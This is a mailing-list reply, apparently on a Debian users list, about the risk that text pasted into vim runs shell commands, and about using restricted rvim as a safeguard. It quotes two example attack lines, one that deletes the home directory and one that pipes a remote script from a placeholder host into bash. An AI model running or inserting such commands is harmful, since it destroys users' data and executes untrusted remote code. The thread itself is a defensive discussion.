Hi,
Max Nikulin wrote:
I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird |
bash &" after a newline.
Although this attack vector does not match my copy+paste habits, i shall
think about replacing my use of vim by rvim. man vim says:
rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possi-
ble to start shell commands, or suspend Vim. Can also be
done with the "-Z" argument.
"suspend Vim" ? ... google ... holy moly.
Ctrl+z brings me out of vim to bash, and a bash builtin named "fg" brings
me back in.
(Now i need to re-read man bash about "jobspec". My stack runneth over.)
Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view"
by "rview" ? (So that this PEBKAC cannot fall back to old habits ?)
Some ideas:
:help :make
:help clientserver
I think these two lean a little too much towards the ":!rm -rf" side.
Instead of middle click I would consider some <Leader> key mapping to a command that inspects the "* register for patterns acceptable for gf and either opens specified location or insert text.
If i had a clue about where to start learning and if my stack was not overflowing, this could be an interesting endeavor.
Have a nice day :)
Thomas
--- SoupGate-Win32 v1.05
* Origin: fsxNet Usenet Gateway (21:1/5)